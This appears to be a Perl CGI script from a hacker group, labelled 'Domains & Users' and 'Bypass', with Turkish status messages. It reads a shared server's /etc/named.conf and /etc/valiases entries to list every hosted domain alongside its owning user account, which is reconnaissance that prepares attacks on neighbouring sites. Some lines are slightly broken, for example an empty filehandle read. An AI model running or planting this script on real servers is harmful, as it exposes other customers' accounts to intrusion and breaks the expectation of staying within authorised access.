| #!/usr/bin/perl -I/usr/local/bandmin
print "Content-type: text/htmlnn";
print'
ImhaTimi.Org | Ihtilal.In
Domains & Users
Bypass
ImhaTimi.Org | Ihtilal.In
';
open (d0mains, '/etc/named.conf') or $err=1;
@kr = ;
close d0mains;
if ($err){
print (' Bypass edilemedi  ');
die();
}else{
print '
Domain Adları : User adları :
';}
foreach my $one (@kr)
{
if($one =~ m/.*?zone "(.*?)" {/){
$filename= "/etc/valiases/".$1;
$owner = getpwuid((stat($filename))[4]);
print ''.$1.' : '.$owner.'
';
}
}
print''; |
